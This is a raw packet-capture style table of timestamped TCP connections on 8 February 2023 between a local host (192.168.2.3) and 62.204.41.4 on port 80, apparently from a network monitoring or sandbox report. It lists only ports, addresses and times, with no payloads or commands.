Feb 8, 2023 21:32:12.045169115 CET	49903	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.045295000 CET	80	49904	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:12.045403957 CET	49904	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.046729088 CET	49904	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.108202934 CET	80	49904	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:12.111684084 CET	80	49904	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:12.111900091 CET	49904	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.280663013 CET	49904	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.281667948 CET	49905	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.342391014 CET	80	49904	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:12.342556953 CET	49904	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.343118906 CET	80	49905	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:12.343234062 CET	49905	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.384320021 CET	49905	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.446094036 CET	80	49905	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:12.449224949 CET	80	49905	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:12.449399948 CET	49905	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.613729954 CET	49905	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.614619017 CET	49906	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.675643921 CET	80	49905	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:12.675854921 CET	49905	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.676345110 CET	80	49906	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:12.676457882 CET	49906	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.698779106 CET	49906	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:12.760699034 CET	80	49906	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:12.762974024 CET	80	49906	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:12.763140917 CET	49906	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:13.795882940 CET	49906	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:13.796736956 CET	49907	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:13.857320070 CET	80	49907	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:13.857477903 CET	49907	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:13.857669115 CET	80	49906	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:13.857753038 CET	49906	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:13.917743921 CET	49907	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:13.980367899 CET	80	49907	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:13.983855963 CET	80	49907	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:13.984018087 CET	49907	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:14.142929077 CET	49907	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:14.144512892 CET	49908	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:14.212929010 CET	80	49907	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:14.212965012 CET	80	49908	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:14.213145018 CET	49907	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:14.213208914 CET	49908	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:14.246090889 CET	49908	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:14.307957888 CET	80	49908	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:14.312478065 CET	80	49908	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:14.312663078 CET	49908	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:14.862684965 CET	49908	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:14.869395971 CET	49909	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:14.926809072 CET	80	49908	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:14.927062035 CET	49908	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:14.933051109 CET	80	49909	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:14.933232069 CET	49909	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:14.933906078 CET	49909	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:14.995594025 CET	80	49909	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:14.998792887 CET	80	49909	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:14.999093056 CET	49909	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:15.801501989 CET	49909	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:15.802519083 CET	49910	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:15.865387917 CET	80	49909	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:15.865530014 CET	49909	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:15.867075920 CET	80	49910	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:15.867261887 CET	49910	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:15.871067047 CET	49910	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:15.933552027 CET	80	49910	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:15.938445091 CET	80	49910	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:15.938563108 CET	49910	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.049480915 CET	49910	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.058446884 CET	49911	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.112131119 CET	80	49910	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.112271070 CET	49910	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.120563984 CET	80	49911	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.120812893 CET	49911	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.121218920 CET	49911	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.183031082 CET	80	49911	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.187607050 CET	80	49911	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.187733889 CET	49911	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.295727968 CET	49911	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.297168970 CET	49912	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.357882977 CET	80	49912	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.357913017 CET	80	49911	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.358170986 CET	49911	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.358197927 CET	49912	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.359167099 CET	49912	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.419862032 CET	80	49912	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.422133923 CET	80	49912	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.422271967 CET	49912	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.530587912 CET	49912	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.532113075 CET	49913	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.591453075 CET	80	49912	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.591717005 CET	49912	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.593897104 CET	80	49913	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.594415903 CET	49913	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.595551968 CET	49913	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.658857107 CET	80	49913	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.661514044 CET	80	49913	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.661726952 CET	49913	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.764458895 CET	49913	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.765474081 CET	49914	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.826111078 CET	80	49913	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.826312065 CET	49913	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.827963114 CET	80	49914	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.828150988 CET	49914	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.837699890 CET	49914	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:16.902132988 CET	80	49914	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.904551029 CET	80	49914	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:16.904705048 CET	49914	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.014075041 CET	49914	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.015110016 CET	49915	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.076023102 CET	80	49915	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.076253891 CET	49915	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.076591015 CET	49915	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.076711893 CET	80	49914	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.076812983 CET	49914	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.137291908 CET	80	49915	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.142472982 CET	80	49915	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.142643929 CET	49915	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.264192104 CET	49915	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.265139103 CET	49916	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.325018883 CET	80	49916	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.325052023 CET	80	49915	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.325356960 CET	49915	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.325656891 CET	49916	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.326422930 CET	49916	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.386163950 CET	80	49916	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.389087915 CET	80	49916	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.389228106 CET	49916	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.498980045 CET	49916	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.499907017 CET	49917	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.558808088 CET	80	49916	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.558975935 CET	49916	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.560427904 CET	80	49917	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.560590982 CET	49917	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.561486006 CET	49917	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.622376919 CET	80	49917	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.625283957 CET	80	49917	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.625462055 CET	49917	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.732887983 CET	49917	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.735474110 CET	49918	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.796212912 CET	80	49917	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.796363115 CET	49917	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.797399044 CET	80	49918	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.797530890 CET	49918	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.798707962 CET	49918	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.861602068 CET	80	49918	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.864259005 CET	80	49918	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:17.864419937 CET	49918	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.971241951 CET	49918	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:17.971972942 CET	49919	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.030901909 CET	80	49918	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.031090975 CET	49918	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.034610987 CET	80	49919	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.034723997 CET	49919	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.035542965 CET	49919	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.098086119 CET	80	49919	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.102407932 CET	80	49919	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.102608919 CET	49919	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.217937946 CET	49919	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.220112085 CET	49920	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.280319929 CET	80	49920	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.280519009 CET	80	49919	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.280545950 CET	49920	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.280611038 CET	49919	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.281071901 CET	49920	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.341187954 CET	80	49920	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.344707966 CET	80	49920	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.344897985 CET	49920	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.453104973 CET	49920	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.454099894 CET	49921	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.513667107 CET	80	49920	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.513788939 CET	49920	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.514574051 CET	80	49921	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.514718056 CET	49921	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.515785933 CET	49921	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.576190948 CET	80	49921	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.579456091 CET	80	49921	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.579610109 CET	49921	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.703669071 CET	49921	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.704452038 CET	49922	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.765561104 CET	80	49921	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.765690088 CET	49921	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.766566038 CET	80	49922	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.766767979 CET	49922	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.772895098 CET	49922	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.833642960 CET	80	49922	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.836345911 CET	80	49922	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:18.836462021 CET	49922	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.955157042 CET	49922	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:18.956100941 CET	49923	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.015825987 CET	80	49922	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.016048908 CET	49922	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.017585993 CET	80	49923	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.017771006 CET	49923	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.023555994 CET	49923	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.087759018 CET	80	49923	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.092922926 CET	80	49923	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.093060017 CET	49923	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.206684113 CET	49923	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.208136082 CET	49924	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.268405914 CET	80	49923	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.268536091 CET	49923	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.270643950 CET	80	49924	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.270750999 CET	49924	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.271281004 CET	49924	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.333661079 CET	80	49924	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.336977959 CET	80	49924	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.337157011 CET	49924	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.454565048 CET	49924	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.455353022 CET	49925	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.517628908 CET	80	49925	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.517796993 CET	49925	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.517972946 CET	80	49924	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.518055916 CET	49924	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.523158073 CET	49925	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.585457087 CET	80	49925	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.588732004 CET	80	49925	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.588906050 CET	49925	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.701602936 CET	49925	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.702418089 CET	49926	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.764168024 CET	80	49925	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.764822960 CET	49925	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.766916990 CET	80	49926	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.767035007 CET	49926	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.767739058 CET	49926	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.830133915 CET	80	49926	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.833365917 CET	80	49926	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:19.836802006 CET	49926	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.951667070 CET	49926	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:19.952841043 CET	49927	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.016621113 CET	80	49927	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.016658068 CET	80	49926	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.016874075 CET	49926	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.016957998 CET	49927	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.024415016 CET	49927	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.088433027 CET	80	49927	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.094804049 CET	80	49927	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.095055103 CET	49927	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.246722937 CET	49927	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.247373104 CET	49928	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.308049917 CET	80	49928	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.308259964 CET	49928	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.308595896 CET	80	49927	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.308778048 CET	49927	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.315211058 CET	49928	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.375925064 CET	80	49928	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.379268885 CET	80	49928	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.379379034 CET	49928	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.483644009 CET	49928	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.486499071 CET	49929	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.546227932 CET	80	49928	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.549401999 CET	49928	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.550290108 CET	80	49929	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.553065062 CET	49929	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.553590059 CET	49929	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.615304947 CET	80	49929	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.618046999 CET	80	49929	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.618325949 CET	49929	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.734642982 CET	49929	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.736010075 CET	49930	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.795818090 CET	80	49930	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.796089888 CET	49930	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.796561956 CET	80	49929	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.796642065 CET	49930	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.796679974 CET	49929	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.858288050 CET	80	49930	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.860563993 CET	80	49930	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:20.860661030 CET	49930	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.968060017 CET	49930	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:20.968980074 CET	49931	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.027968884 CET	80	49930	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.028208971 CET	49930	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.031228065 CET	80	49931	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.031469107 CET	49931	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.032345057 CET	49931	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.094705105 CET	80	49931	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.097949028 CET	80	49931	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.098184109 CET	49931	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.216898918 CET	49931	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.217838049 CET	49932	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.311759949 CET	80	49932	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.311815023 CET	80	49931	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.312016010 CET	49931	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.312522888 CET	49932	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.312522888 CET	49932	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.372087955 CET	80	49932	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.376087904 CET	80	49932	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.376332998 CET	49932	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.483284950 CET	49932	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.483999968 CET	49933	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.542829990 CET	80	49932	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.543039083 CET	49932	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.544553995 CET	80	49933	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.544713974 CET	49933	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.545352936 CET	49933	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.605889082 CET	80	49933	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.608124018 CET	80	49933	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.608237028 CET	49933	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.723011971 CET	49933	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.723781109 CET	49934	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.783942938 CET	80	49933	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.784087896 CET	49933	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.786248922 CET	80	49934	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.786396980 CET	49934	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.786854029 CET	49934	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.849174976 CET	80	49934	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.851677895 CET	80	49934	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:21.851849079 CET	49934	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.969666958 CET	49934	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:21.970525980 CET	49935	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.031069040 CET	80	49935	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.031210899 CET	49935	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.031977892 CET	80	49934	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.032059908 CET	49934	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.032744884 CET	49935	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.093271971 CET	80	49935	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.097754002 CET	80	49935	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.097949982 CET	49935	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.217571974 CET	49935	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.218403101 CET	49936	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.278239012 CET	80	49935	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.278320074 CET	49935	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.279653072 CET	80	49936	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.279788017 CET	49936	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.307699919 CET	49936	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.369076014 CET	80	49936	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.371948004 CET	80	49936	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.372050047 CET	49936	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.489671946 CET	49936	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.490655899 CET	49937	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.551131964 CET	80	49937	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.551172018 CET	80	49936	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.551340103 CET	49936	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.552018881 CET	49937	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.552018881 CET	49937	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.612468958 CET	80	49937	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.616642952 CET	80	49937	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:22.616776943 CET	49937	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.744791985 CET	49937	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.750431061 CET	49938	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:22.805371046 CET	80	49937	62.204.41.4	192.168.2.3
